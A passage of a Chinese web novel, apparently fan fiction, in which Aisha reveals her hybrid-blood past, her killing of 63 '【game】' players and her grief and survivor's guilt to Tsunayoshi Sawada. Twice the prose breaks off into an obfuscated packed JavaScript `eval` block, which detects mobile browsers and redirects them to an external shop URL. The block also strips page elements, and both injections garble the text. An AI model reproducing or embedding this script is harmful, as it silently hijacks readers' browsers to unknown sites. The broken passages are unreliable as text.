会,每个人都会死。男人淡淡地笑了。但我希望不要是现在,我还有事情没有做完。 我不明白、做事和死亡之间的关系。事情没做完前就不会死亡么? ……它们没有关系,没有人预测得了自己的死。男人短暂地沉默一下。 也就是说存在没做完事情就死亡的可能性。死亡以后你将不再存在,永远也无法完成你要做的事情。她直白的得出结论。 ……有没有人说过你很会聊天?男人无奈地挠了挠额角。没做完就死掉也没关系,虽然会有点遗憾,但是这就是同伴存在的意义啊。所谓同伴……就是要踩着你的尸体,把你想做的事做完! 你要做的事情就是屠龙么? 是,杀掉所有龙王。这就是我要做的事。如果我死了,你要继续把这件事做完。 好的。如果你死了,我会踩着你的尸体,继续屠龙。她淡定地点点头。 ……但是不是让你真的踩在我的尸体上,这是一种修辞、修辞你懂么?男人突然反应过来。 她淡定地摇了摇头。 这时教堂里放出大批的白鸽。有的落在草坪上,有的拍打着翅膀飞向遥远的天边。 我没有要做的事。她突然说。 不要这么早就想着这些。男人看她一眼。现在你要做的是变强,要一直向前走,直到战争结束都不可以停止。 如果在那之后你还活着。他沉默一下。那么这个世界很大,想做的事要自己去找。 钟声,风声,还有哭声,围栏上的‘白花’在这些声音里舒展摇曳,很安静也很美。 她将这幅景象深深烙印进眼底。 知道了。努力变强,直到死亡或者战争结束。如果之后还活着,去找自己想做的事。她机械地重复一遍。 “可艾莎……很爱自己的父亲吧?”沢田低声道。 听到他的话,艾莎的眼睫轻轻颤动一下,仿佛从一场幽远的旧梦中醒来。 “他不是我父亲,只是收养我的人。”她先是这么条件反射般否定了,紧接着又露出一个无奈的笑,“纲吉君觉得校长那种性格,会教给我爱或者陪伴那样温情的东西么?他又不是邓布利多。” “他只教我如何战斗。我们的确可以为了彼此不惜性命,但比起亲情那种东西,其实更像战友情啦。”艾莎耸耸肩,“不光校长,换成其他人也是一样的。” “如果单纯以收养与被收养的关系论,我们大概不算亲密。”她平淡地说。 名义上校长是她的监护人,他们共同居在学院那座独栋的二层小楼里。 但校长要处理的事情很多,和她待在一起的时间不算长,等她加入执行部后就更少。 有时小楼里亮着灯,可回去后只看到校长留下的字条; 有时任务受伤躺在校医院,醒来时身边没有人,床头放着一只削好的梨。 他们就是这样的关系——算不上亲密,只是淡淡的。 很久以前艾莎也问过校长——你收养了我,那我以后要叫你父亲么? 可男人只是沉默一下,说叫不叫随你。我没有亲人也没有孩子,大概也给不了你所谓“父爱”那样的东西。我只能教你战斗的技巧,这样以后你能活得长些。 最后她也没有辜负他的期待。那场漫长的争斗结束了,而她活了下来。 34. 第34章 血之哀(2) “…总之现在一切都结束了。”艾莎轻吐出一口气,语气异常轻快,“‘始祖绿巨人’死了。光荣退休后我无所事事,就从北美一路游山玩水到了欧洲。后来因为收到邀请函,就来了西西里,遇到了纲吉君。” “——这就是我的故事了。涉及到一些闻者落泪听者伤心的悲惨过去,以及两万年前的生物进化史。”她重新面向沢田。 “是不是挺难相信的?乍一听像小说或者游戏一样。” 他是个很好的听众,全程表现得认真且耐心,任她漫无边际地絮叨这么久也不打断。 沢田纲吉摇了摇头。 如果可以,他真希望她说的是小说或者游戏剧情。 这些经历作为虚构情节或许惊心动魄引人入胜,但放在现实中何其残酷。 “那纲吉君猜到我为什么要说这些事了吗?” “…【game】的事与混血种有关,是么。”他轻轻回道。语气并非疑问,反而相当笃定。 “嗯。”艾莎点点头,然后露出一个苦笑,“其实我该早点注意到的,你说过【game】的行事逻辑很奇怪——以人类的角度当然不可解,那本就是另一个种族的思维模式。” 龙族文明是铁与血的文明。它们并非没有感情,只是过于极端地奉行“权与力”。 ——在力量与进化面前,一切东西都该被弃若敝履。 “还记得第一个视频么?”她的目光趋冷,“男人与怀孕的女人被关在一个房间里,只有一个人能活着出去。以人类的视角看这当然是一条残酷的规则,可是按照‘绿巨人’的逻辑,男人应该毫不犹豫地杀死自己的妻子。因为与他相比她是更弱的那一个,弱者活该被吞噬,爱情和亲情都是微不足道的东西。” “可现实是男人为保护妻子选择自杀,女人为了保全孩子…也做了同样的决定。” 沢田纲吉的眼睛微微睁大。很快,他的脸上便闪过有如实质的怒火。 “…所以那些视频才会被称作【present】,发送给全部的玩家。他们不只是觉得有趣而已,而是为了……嘲弄!” ——这才是‘礼物’的真正含义,幕后者居然把它们当作……笑料那样的东西! “那些高等级的玩家想必都尊崇力量。在他们看来,会因为感情而放弃生命的行为当然是愚蠢可笑的。”艾莎冷冷地说,“怀抱着这样的想法,他们中的有些人无意间迎合了身体里隐藏的基因,又在一次又一次的杀戮中觉醒了血统,从普通玩家中‘脱颖而出’——就是那63个高等玩家。” 她的话揭露了事情的真相。远比他们想象中还要令人沉默: “【game】不是一个单纯的杀人狂聚落,而是一场有针对性的选拔。”艾莎闭了闭眼,“目的是为了从普通人中筛选出混血种。” “…德维尔也是混血种么?”沢田问道。 “不。他对‘我们’一无所知,还以为自己是发现了‘神迹’。”艾莎拉扯出一个嘲讽的笑,“那63个人同样。他们的血统纯度都不高,有几个已经无限趋近于普通人。原本他们一生都不会和混血种的世界产生交集。” ……但是他们却借由【game】觉醒了血统。沢田听懂了她的言下之意。 德维尔或许只是偶然发现了混血种的特异之处,却以为自己掌握了真理的钥匙。所以他自命为‘神’,坐在电脑前、在无辜者的哭嚎与绝望间翻找着另一个世界的幻影。 阴差阳错下他真的聚集了一帮乌合之众,对他们来说人命轻贱得就像白鼠。 而与此同时,在那个他们未曾接触的、真实的混血种世界,有人正为了打倒恐怖的敌人而拼死搏杀、丢掉性命。 ——在发现【game】的真相时,艾莎究竟是怎样的心情呢? 沢田纲吉感到一阵难言的愤怒与悲哀。而身旁的女孩现在表情平淡,看不出喜怒。 “他们把人视为卑贱的物种、只知杀戮,和我曾经的敌人没什么两样。只是他们更弱,弱得叫人觉得滑稽。”她轻声道,“……想想真不公平。有人能把时间浪费在这种可笑的事上,有人想活却活不了。” 沢田是在五年前发现了【game】的存在。当时这个荒诞的组织不知道成立了多久。 同样是在五年前,青铜与火之王被怀疑苏醒。学院派出队伍探查它的陵墓,那支小队最终全军覆没。 艾莎记得进入陵墓的两名执行部专员:叶胜和酒德亚纪,事后学院才发现他们彼此爱慕。两个人郎才女貌的,如果在一起大概会是很不错的一对。可是他们死在了那座青铜城里。 还有小队的领队曼斯教授,与艾莎有着相同的言灵,经常威胁她将来正式进入学院必须选他的课。艾莎记得他办公室里摆着妻子的照片,还有一堆堆厚厚的学生试卷……他死在三峡冰冷的江水中,脊椎折断,又被一颗剧毒的龙牙刺穿腰部。 她仰头望着虚空处。仿佛又能听见学院教堂经久不息的钟声,围栏上的白色手帕迎风发出猎猎的响动。 “……那群玩家以为血统是什么高人一等的东西。就像漫画或者小说一样:‘好耶你和别人不一样你生而不凡’。”她脸上没什么表情,“可现实不是这样。在‘绿巨人’看来你只是窃取力量的杂种,在人类看来你是离群的怪物。你夹在中间,其实两边都不讨好。” 她言语间透露出一股深切的悲哀。这一刻沢田莫名觉得女孩离得那么远。 昏黄的灯光落寞地笼罩住她,看上去仿佛形影相吊。 然而当他们的视线再度对上时,这种情状又冰雪般消融了。 艾莎露出一个清浅的微笑,“今天看到纲吉君的时候我很开心……有点惊讶,但又有种‘果然如此’的感觉。” “纲吉君知道我的实力,所以并不是担心我受伤,而是害怕我被今晚的事影响。”她语气笃定,“在知道我杀了那63个人的时候甚至觉得愧疚,觉得我是被你强行卷入这起事件、觉得是因为自己的缘故才害得我杀人的——我说的对么?” 沢田迟疑一下,他没有回答,算是默认。 “当时我就在想,‘纲吉君果然是个普通人啊’。会觉得剥夺生命是一种罪孽:觉得无论有多么正当的理由,杀人就是杀人。即使所杀的人罪大恶极,手染血腥仍然是一件不好的事。”她轻声道,“这是普通人才会有的心态。” “普通……么?”沢田苦笑一下。 自从踏入里世界开始,他似乎就与这个词无甚关系了。现在乍然听到,居然有种恍如隔世的复杂感受。 他下意识地想到今晚刚刚结束的‘谈判’、洛克家族首领临终前的诅咒,以及他那张苍老灰暗的、无神采的脸。 对于现在的他来说,这样的事才是常态。 沢田纲吉眼神一黯。 但是艾莎有一点的确没有说错。他从不认为‘杀人’是具备‘正当性’的行为,恰恰相反,这是他必须背负的‘罪’。 “有很多人因为这点说过我。”他的声音里带着点自嘲。 里世界充斥着争端与矛盾。怀抱着“杀戮是一种罪孽”的想法成为Mafia实在是一件匪夷所思的事,离谱程度大概和‘和尚去屠宰场打工’差不多。 然而他决定继承彭格列时所做的觉悟从来与杀人无关。除非触及底线,否则他的确是个无法彻底狠下心的人。 关于这一点,Reborn给他的评价是优柔寡断;拉尔·米尔奇说他天真;而在洛克那样的人看来大概是伪善。 “……诶?”艾莎没预料到沢田突如其来的消沉,“如果有人觉得纲吉君的这点不好,那么那个人一定是个蠢货啦。” 她毫不留情地评价道。 “……诶?”这回错愕的人变成了沢田。 “这样的‘普通’听上去很简单,但其实一点也不常见。毕竟在现实中这是一件会被嘲笑的事啊。”艾莎耸耸肩。 ‘强者肆无忌惮很合理,弱者被欺凌也是没办法的’、‘同情心是多余的东西’、‘善良就是天真软弱’——这才是生活中绝大多数人所默认的逻辑。”她顿了顿,“也是‘绿巨人’所认同的逻辑。” “但我就搞不懂了——大家都说着‘天真就是不好’、‘在这个世界是无法生存下去’之类的话,可难道现在这个奉行‘权与力’的世界就很好么?”她轻声嘟哝一句,“辛辛苦苦打赢了‘绿巨人’,结果一转头看到所有人都在推崇‘绿巨人’的那一套,要不是我意志坚定我早变成宇智波带土了……” 变成宇智波带土的意思是指你要毁灭世界么!?不要用这种碎碎念的方式说出这么恐怖的话啊喂! 沢田有些哭笑不得,转而却对上艾莎颇为认真的视线。 “——我认为在这样残酷的世界,能够维持‘普通’本身就是一件非常了不起的事。老实说,这样的纲吉君在我看来简直就像宝物一样。” 这话说得直白坦荡。她的眼睛看起来熠熠生辉。 沢田纲吉先是一愣,继而又觉得猝不及防,脸上骤然一热。 “纲吉君大概并不是为了权力这种东西才成为Mafia的。要一边在里世界行走、一边保持着这份‘普通’,想必经历了很多我难以想象的煎熬。”艾莎认真地说道,“但是不要露出刚刚那种低落的表情来啊,好像这是一件错事一样——要知道纲吉君的‘普通’可是非常珍贵的东西——说不定还阻止了一个‘绿巨人’屠杀者的黑化喔?” ‘绿巨人屠杀者’什么的简直槽点满满。按他们平时的相处模式,这时沢田应该已经一脸娴熟的开槽了才对。 可沢田纲吉还是没有任何反应,只是呆呆地看着她,神情有点震动又有点慌乱。 ……是说错什么了么? 艾莎有点狐疑的继续,“我非常喜欢纲吉君的这份‘普通’……纲吉君你没事吧?表情看起来有点奇怪……” 蓦地像只受了惊的兔子。 “没、没事。”沢田的喉结惊惶地滚动一下。 他竭力克制住以手掩面的冲动。如果说刚刚他还只是单纯的感动而已,那么现在的确算是又多了一点微妙的紧张。 艾莎最后一句的句式……或许她并未察觉到……但那未免太像告白时的用法了! 虽然他知道她并没有那个意思、虽然他是知道她并没有那个意思没错! 脸上的灼热感越发强烈。他闭了闭眼,将此刻心里的那股奇异感受强行镇压下去。 艾莎不明所以地看看他,待沢田重新平静下来,才又郑重地重复一遍: “——我非常喜欢纲吉君的这份‘普通’。和纲吉君相处的时候总是很开心,有时会觉得自己也变得普通起来。” 沢田是那种与混血种世界离得很远的人。 不,应该说他根本是龙族文明的反面——龙族所鄙夷摒弃的一切人类美德加在一起差不多才能凑成一个沢田纲吉。 他就是这样的人,温柔到不可思议的程度。 ……但她却不是这样。 艾莎垂下眼帘,“可归根结底,我和纲吉君是不一样的。我并不是你以为的那种善良的人。我从不觉得杀戮是多么罪孽深重的事,即使今晚杀了那些人,我的心情也不会因此受到一丝一毫的影响。” 她身上流淌着暴虐可悲的血,有时她同样遵循龙族的法则。 “纲吉君之前说人生不是只有战斗而已。这句话或许不错,但在我长久生存的那个世界并不适用。”她轻声道,“我此前的人生几乎只有战斗而已,剩下的时间就是和同伴待在一起。” 闻言,沢田纲吉的目光闪烁一下。 像是想到了什么,艾莎无声地笑了笑,“说是同伴,其实就是一群神经病啦,一群欢快得不得了的神经病。在一起的时候日子总是很热闹又很离谱,然后不知不觉你也就跟着一起变成神经病了。” “他们中的很多人都觉得要是没有血统就好了。没有血统就能过普通人的生活、烦恼普通人该烦恼的东西,说不定还能有个快乐的童年……至少不用和‘绿巨人’那种强大到离谱的生物战斗。”她不再看沢田,而是自顾自地说了下去,“嘴上说是这么说,但该拿刀的时候还是会拿起刀,打不赢的时候就毫不犹豫拿命去填,为身后的人争取时间。现在他们死了,一群恃强凌弱拿杀人取乐的混血种却活得好好的……凭什么!” 她眉宇间有股冰冷的暴虐一闪而逝,冷酷森严。这一瞬间沢田纲吉的确可以感觉到,她身上所具备的、某种‘非人’的特质。 “他们死了,我还活着,活下来的人必须往前走。以后我和他们的距离只会越来越远,这是没有办法的事。可是与他们的回忆是我最最珍贵的东西之一,是我人生存续的意义——如果有谁胆敢朝他们的墓碑吐口水,无论折返多远我也会回来杀了他!” “所以我杀了那63个人。”她冷冷道,“无论让我重来多少遍我还是会选择亲手杀了那些人。因为他们不该活着。” “……我不知道纲吉君现在能不能理解我的决定。不理解也不要紧,只要知道这一点就够了。”艾莎一字一顿地说道,“我不是因为纲吉君才杀人的。我杀他们,仅仅是因为我认为他们该死。至于从道德和法律的角度看这件事是不是妥当,我不关心。” 把话说到这个地步,沢田总该明白了吧? 她心头飞快掠过一丝茫然的疲倦。 按理说这时候她应该向沢田展示一下‘黄金瞳’,用最直接的方式证明他们之间的不同。 但等了良久大脑还是僵硬着不动作,简直就像忘记了如何点燃血统一样……可见心里其实是不想的。 ……当然不想啊。不想告诉沢田全部的真相,不想让他知道自己是怎样的怪物。 总觉得一旦点燃黄金瞳,就超级真实的在两人之间划下了一道不可逾越的鸿沟一样。 艾莎低下头飞快地眨眨眼睛,将莫名涌起的那股酸涩泯却。 “我就是这样的人。”她终于说出了今晚最想说的那句话,“所以在这件事上,纲吉君既不用担心我也不用愧疚,更不用明明很累了还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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艾莎震惊地看着他。 “那我难道要在纲吉君面前痛哭流涕吗这种事根本毫无意义!说起来纲吉君会生气才很奇怪,这种时候明明只要感动得释然就行了!你是非得把所有人的痛苦都背到身上么整天背背背你是乌龟么你!?” “看到艾莎这么逞强的样子怎么可能感动得释然啊……”沢田纲吉的怒火来得快去得也快。他闭了闭眼,等再睁开时,先前的愤怒便转化为一种执拗的坚定。 “混血种也好还是其他的身份也好,我想要保护艾莎的心情不会因为这种事而改变。我也不相信艾莎刚刚说的那些话——如果真的没事,为什么要喝这么多酒呢?” 艾莎沉默一下。 “……因为我得了一种‘每天不喝酒就会死掉’的病。” “根本没有这种病吧。”沢田毫不留情地槽道。 “……好吧好吧其实我是在做‘酒精吞噬者’的世界成就。” “也不存在这种东西!” “……唔。”艾莎纠结的五官都皱在了一起。她开始认真地考虑要不要跳窗逃走或者干脆沉默到底——反正沢田早晚要去上班的根本耗不过她这种每天闲得发慌的无业游民。 她边想边偷偷觑沢田,却见他同样纠结拧眉,一脸的舍生取义——等等为什么是舍生取义!? 还没等艾莎惊讶完,沢田就已经像是下定了什么了不得的决心一样,满脸大义凛然的朝她伸出手来—— 下一秒她落入温暖的怀抱之中。她的眼睛猝然睁大,大脑宕机了很久才反应过来沢田居然主动抱住了她。 “艾莎刚刚想要逃走对吧?”他的声音闷闷地自耳后传来。 “……”啊,被看穿了。 艾莎心想所以你的应对方法就是抱住我么哼哼太天真了这个时候只要一个下腰就能把你甩出去。 想归这么想,但或许是因为大脑彻底宕机,所以她还是一动不动,异常乖顺的待在他怀里。 沢田纲吉的状况并没有比她好多少。他并不是那种精通男女关系的性格,对像现在这样主动的亲近一个女孩毫无经验。 然而他仍然没有半点要松手的意思,尽管现在他全身僵硬,感觉身体都不是自己的了一样。 “……必须得先向艾莎道歉才行。明明艾莎这么体谅我,刚刚却还是毫无征兆的对你发火……真的非常抱歉!”他先是这么认真而慌忙地说道。 艾莎嘴唇动了动,她脑海里飘过无数不合时宜的烂话和吐槽,但还是一句都说不出口。 “说起来我根本没有对艾莎生气的立场……之前明明也在艾莎面前逞强过。” 沢田回想起向艾莎说起阿尔伯特的时候,那时她就是像这样给了他一个拥抱。 “但是即便不应该、即便没有立场,果然还是很生气。”他顿了顿,“或许只是我的错觉,可是刚刚的艾莎简直像是要把全世界都推出去一样……看起来非常孤独。孤独得叫人生气。” “……额,这可能就是传说中的‘血之哀’。”艾莎终于找回了自己的声音,“混血种时常会因为血统的关系而产生一种难以融入社会的孤单……” 说着说着她就想给自己来一下——说得这么干巴巴的她是在写论文么论文什么时候不可以写!? “…我不知道‘血之哀’是怎样的东西。但就我个人来说,我和艾莎的关系并不会因为混血种的身份这种问题而产生变化。” 沢田的语气非常坚定。 “——并且至少现在,艾莎并不是孤身一人。” 说着,他将怀中的女孩搂得更紧,简直就像是要把话语中透出的决心通过肢体动作传递出去一样。 暖黄色的灯光下,两个人的影子亲密无间的重叠在一起。 “所以能不能请艾莎再多信赖我一点。能不能告诉我,究竟发生什么事了?” 再一次的,沢田问出了相同的问题。 艾莎很久都没有说话。沢田也没有松开自己的手。 这是一场静且温柔的博弈。 良久后,她像是妥协般发出一声哀叹: “太过分了。我上辈子绝对欠了纲吉君的钱吧——或者弄哭我对你是有什么好处么纲吉君?” 她吸吸鼻子,报复性的把下巴重重磕在沢田的肩膀上。 沢田纲吉无奈地支撑住她。 “问题的答案不是很明显么!”艾莎自暴自弃地说道,“喝那么多酒我肯定不是因为开心,杀那些人也绝对是因为生气——可是我怎么可能会有这些负面情绪呢?” “——因为在研究所建立的那套心理应对机制崩溃了啊……”她的声音颤了一下,像是弓弦崩到极致。 “战争结束后,脑子突然就变得很奇怪。”她突兀地止住了。然后她把眼睛压在沢田肩上,再开口的时候委屈又困惑。 “……不知道为什么,一切突然就和以前不一样了啊……” 35. 第35章 血之哀(3) 她是从中东回的欧洲。那里现在战火纷飞,与歌舞升平的北美是两个世界。 旅途中,她曾在一座破落的村庄停留数日。村口有一株已经枯死的沙棘树,一个阿拉伯女人每天怀抱婴孩站在树下。 女人穿着传统的波卡罩袍,看不出年纪。可谁都看得出她是个称职的母亲,小心翼翼的为怀中襁褓挡去风沙,嘴里轻哼着不知名的阿拉伯语歌谣。 艾莎远远地望着她,猜测她或许在等自己的丈夫。又或许她的丈夫已经死了,只是女人还不知道。 她漫无边际地猜想着,突然觉得以后就这么一直守着这个陌生的女人也很好。这里太乱,一旦发生什么事,女人护不住自己的孩子。 女人的生活单调而枯燥。每天都穿着同样的衣服,以同样的姿态等在树下。 直到某天村外传来响动——并不是她的丈夫回来了,那是车轮碾磨黄土的声音。 战乱的地方不会有什么现代文明,这种钢铁的机械运作声只可能来自军方。 一辆斯特莱克轮式装甲车正缓缓驶来。看到军车上的星条旗时女人的脸色突然变了,就像一场美梦被猝然撕碎。 她歇斯底里地嚎叫起来,凶狠的把怀中的襁褓掷到车身上。 软软的襁褓无力地撞击钢铁、又一路滚落在地,露出真容——那是一具婴孩的尸骨,已在长久的曝露中干瘪风化。 她突然了悟。原来女人日复一日站在村口并不是为了自己的丈夫,她是在等一辆美军的军车经过。随便怎样的车都好,她不会说英语但她认得美国国旗。 原来她既没有丈夫也没有孩子,只是一个疯掉的可怜女人,抱着一具小小的尸骸站在枯死的树下,口中唱着那些再不复回的旧光阴。 做完这一切后女人与在车顶瞄准她的美国士兵遥遥对望。短暂的沉默后士兵松开扣住扳机的手指,彼此间目光麻木。 最后女人毫无留恋的转身离开。她没有去捡那具小小的尸骨,只是任其被埋覆在黄沙之下。 艾莎很想为她做些什么,但很快又被巨大的无力感淹没。 她能做什么呢?是把那一车美军全部杀光,还是对女人说你和我走吧我带你去欧洲,在那里你能获得一个难民身份,从此过上好生活? 那群士兵只是偶然经过,不一定就是造成她不幸的元凶; 她的家都没了,又哪里来的好生活? 她什么也做不了,最后只能目送女人一步一步的走远。 之后她自己也该离开。可突然觉得那么疲倦,疲倦得连一根手指都不想抬起来。 校长说要一直向前走,不回头。 现在黑王已经死了,屠龙的路已经走到了尽头。 接下来的路有多长,她还要一个人走多久? 艾莎茫然地看着前方。过了一会儿,她慢慢慢慢地缩回沢田纲吉怀里,就像小动物窥伺巨大的世界,因为警惕,所以只敢露出一双眼睛。 “有时候感觉自己在玩RPG游戏一样,”她轻声道,“以前只要一门心思推主线就好,什么都不用想。现在最终boss轰然倒地……突然就不知道要做什么好。” “但我想世界这么大,总有一些事是我能做的——有些游戏不就是么,打完主线还有一大堆支线。只是不知道在哪里,要玩家自己去找。”她继续干巴巴地说道。 又是这样,这种好像把自己和这个世界疏远隔绝开来的话。 沢田纲吉垂眸,他想到以前艾莎曾和他说起的那篇有关孤独感的论文,当时女孩似乎无法体会‘孤独’这种情绪。 ……大概是真的无法体会吧?可并不是因为那些实验,只是长久以来习惯于一个人待着。 很久以前他也有过相似的感受。那时老是被排挤在人群之外,总觉得这个世界很热闹,但是和他没什么关系。 因为欠缺某种‘活着’的真实感,所以反而不会觉得孤单。 他们一起陷入沉默。无形中沢田感到有股力量正在积蓄,等艾莎再开口的时候,连空气都变得酸涩起来。 “但其实,”她犹豫着说道,“其实我以为‘推完主线’这个游戏就结束了,或者在那之前就会结束……纲吉君明白我的意思么?” 她说得很小声很小声,而且非常隐晦。小心翼翼到近乎胆怯,像是担心会惊扰到某些沉睡的鬼魂。 然而沢田纲吉并未显露出多少吃惊,从先前的话语里或多或少能知悉她的想法。 她这样的反应是理所当然的……因为那想法不知好歹,连单纯的曝露都显得罪恶。 所以不能说也不能想,只能偷偷埋藏在心底,任其逐渐生长成一种庞大茂盛的隐痛。 “……艾莎没想过自己会活下来,是么。”他这么轻声道。 这话说得直白笃定,带着一种淡淡的悲伤。就好像他也曾到过相似的境地,所以在他面前并不需要隐藏什么。 怀中女孩陡然一僵,很长时间都没有说话。 这见不得光的秘密就这样共存在他们彼此安静的呼吸之间。 良久以后,艾莎终于虚弱的用鼻音“嗯”了一声。给人的感觉仿佛丢盔卸甲。 “……是不是很过分?明明应该心存感激才对。那么多人想活都活不了。”她很小声很小声地说,“但有时候还是会想……为什么死掉的人不是我呢?” 觉悟是很早之前就做好的。 校长说要变强、要一直向前走,直到战争结束都不可以停止。如果之后还活着,去找自己想做的事。 可彼时围栏上的白手帕迎风舒展摇曳,映入眼帘的景象那么安静那么美。突然就觉得死亡也不是多可怕的事,能在死后有这么一场告别也不错。 唯一的缺点是死后意识消散,再看不到这样的场景。所以要趁现在牢牢记下、知道死去以后世界会是什么样的。 觉悟就是在那时候做好的。 她从未想过能活过那场战争。现在真实的存活在这个本该看不到的世界,心里没有多少庆幸,反而时常生出一股茫然的厌憎。 “明明每个人都比我更有理由活下去。”艾莎低声道,“大家都有很牵挂的人或事……校长、校长倒是没有,但他那么厉害,说不定一个耐不住退休寂寞,拍拍手就把中东战争解决掉了……” 每个人活着都比她活着要好。 “我只是个半吊子。没有想做的事,反应还迟钝,看一场恐怖电影都要等到大半夜睡不着觉才能明白过来自己可能是害怕。”她垂下眼帘。 可为什么最后活下来的人是她? “……真讨厌,我以为说出来以后会如释重负痛哭流涕什么的,电视剧不都这样演么?”艾莎自嘲地笑了一下,“可好像越说越讨厌自己了。” 怀抱着“如果活下来的是其他人就好了”这样的想法。可心里这么想有什么用?心里这么想他们就能从坟墓里跳出来么?再怎么想现实也无法改变。所以不要得了便宜还卖乖了,闭上嘴巴好好享受接下来的人生不就好了?幸福快乐地生活下去对你来说是这么难的一件事么? “其实道理我都知道的。死了就是死了,再怎么想都没有意义。活下来的人要继续往前走。”她的身体轻轻颤抖起来,“明明就是这么想的,可是大脑不受控制……以前不会这样。” 以前的世界遵循着既定的规则,简单而合乎逻辑。 活着就该一往无前心无旁骛。自己没办法管的事,无论多惨绝人寰也不用在意,因为没有意义;留不住的人,无论曾经是多重要的同伴也不用悲伤,因为没有意义。 可现在一切突然变了。明知道没意义的事还是会一遍一遍的想,那些以往根本不会在意的细枝末节在她身体里苏醒,冥冥中像是组建恢复成另一具骨骼。 世界变得不一样了。还是那个鱼鳃的比喻,即使在混血种中她也是绝对的异类,依靠着另一套畸形的呼吸系统生存。曾经也羡慕过其他人,可以大大方方用鼻子呼吸,没有鱼鳃那样阴沉潮湿的东西需要隐藏。 可原来用鼻子呼吸是这样辛苦的一件事么? 每一秒眼球都那么酸涩。 艾莎用力地眨眨眼睛。沢田的体温透过薄薄的衣料传递过来,很温暖,她下意识用侧脸蹭了蹭他的肩膀。 “……这时候纲吉君不是应该安慰我么?”她闷闷道,“比如‘千万不要这么说,艾莎很厉害。如果不是艾莎,【game】这个丧尽天良的邪恶组织不知道还要猖狂多久。还有莱因哈特和克里斯蒂娜,这两个孩子不知道要遭遇些怎样可怕的事呢。’——还以为纲吉君绝对会说些类似这样的话。” 其实她不想要安慰,因为知道自己的想法是‘错误且不负责’的,这种时候任何安慰都等同雪上加霜。 只是越说越觉得空虚,又很怕沢田展露出那种“天哪你好惨我好心疼”的同情。太羞耻了,如果真这样还不如一刀杀了她。 然而出乎她的意料,沢田并不像想象中那样带着种沉重的怜悯。 “因为我想艾莎大概不需要这样的安慰。”沢田纲吉轻笑一声,“而且如果我这样说了,大概又会很别扭的反驳说‘做这些都只是顺手,说起来我都忘了那孩子的名字了,原来是叫莱因哈特啊。’——之类的吧?” 艾莎沉默一下,“……救命纲吉君你学我学的好像。” “因为艾莎并不擅长接受他人的好意嘛。” “呜哇超可怕,感觉完全被看穿了……这就是Mafia王的实力么?” “……不存在Mafia王这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658794|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种东西。”沢田叹了口气。 艾莎吸吸鼻子,抵着他的肩膀闷笑一声,“哼不要隐瞒了,快告诉我四魂之玉的具体下落!” “这时候要问也是问OnePiece吧……” 他们你来我往的斗了一阵槽,说的都是些没营养的烂话。 可有时候人就是这么奇怪,心情不好也不想要安慰,只想有个人陪着一起说烂话。 越没逻辑越好,越无厘头越好,两个人的思绪漫无边际又如影随形,有种淡淡的温馨。 沢田纲吉真是不可思议的人。她把烂得流脓生疮的伤口挖出来给他看,一般人应该会恐惧的疏远,善良的人会说这也不是多恐怖的伤口嘛你已经很棒了。 但沢田只是平静的拥抱她,连带着那些阴森的伤口一起。好像在说不管你有多不堪的一面也无所谓,在这个世界上你不是孤身一人。 真是……太过分了。感动的同时艾莎又有点难过,于是怨念的拿下巴一下一下磕他的肩膀——这样的性格他到底是怎么平安活到这么大的啊……? 也不知道是不是洞悉了她的想法,沢田笑了笑,然后轻轻摸了摸她的头发。 “里世界也有很多冲突,虽然大概没有混血种的故事那么惊心动魄。”他静静道,“艾莎的想法我自己也有过、也看到其他人有过。” 沢田眼中有哀凉意味迅速划过。 他有双好看的暖棕色眼睛,即使泛着悲意也显得温柔。 “但在这个世界上,唯独‘活着’这件事是不需要任何理由的。”他的嗓音温和,“同样的,悲伤也不需要任何意义。” “只是有时候往前走得太累,必须停下来休息一会儿才行。我想‘悲伤’这种情绪就是为此而存在的。” 他轻描淡写的点破了她长久以来的纠结。 “……嗯。”艾莎的声音颤了颤,“但我不敢。” 心理机制崩溃后那些负面情绪都回来了,但她执拗地压制住它们。 就像弓弦崩到极致却不敢松手。好像一旦松手就有什么东西再也回不来。 沢田没有再说什么,短暂的静默后,他轻声道,“艾莎很想自己的父亲么?” 艾莎发出沉闷的吐槽,“……为什么话题又转到这件事上来了。他不是我父亲,只是收养我的人。” “因为之前艾莎回避了这个问题啊。很想他么?” “……纲吉君真恐怖,就像警察问话一样。” “嗯。” “……他死了。大家都说他死得其所,没有遗憾。” “嗯。但是很想他么?” “……” “……嗯。”她轻声道,湛蓝色的眼睛变得雾蒙蒙的。 “可他死了啊。” 死去就是心脏停止跳动,脑干反射消失。死后人的意识就此消散,再也不存在于这个世界上。 本该就是这么简单又客观的一件事才对。 可为什么每个人都非得来问候一遍。心里觉得真厌烦——我知道啊我知道他死了,那个画面一直就在脑海里翻来覆去,还要提醒我么?还要提醒多少遍才足够? 他们并不是多么亲密的关系,男人并不一直在她身边。所以即使他死去她的生活也不会有什么天翻地覆的变化。 可原来还是会有变化。少的都是点点滴滴,受伤醒来后没法再期待床头多出一只削好的梨;没法一边担心削梨的折刀有没有好好消毒一边大口大口吃下去;那栋二层小楼不会再亮着灯,桌上不会再有一张简短的字条。 男人离开了,连带着她自己的一部分好像也离开了。被剩下来的感觉那么孤独那么空荡。 死去是这么可怕的一件事么?失去是这么可怕的一件事么? 没人给你留灯的地方,还能称之为家么? ……原来,一直把那里当作家么? 校长骗她。死亡才不是心脏停止跳动意识彻底消散那么简单,而是再也看不见的逐渐模糊的脸,是再也触碰不到的温度;是那个人好像还存在于世界的某个角落,只是你再也找不到他。 她从北美一路奔逃。从中东再到欧洲,她拼命的想要逃离。可是没用,没有人逃得过自己的悲伤。 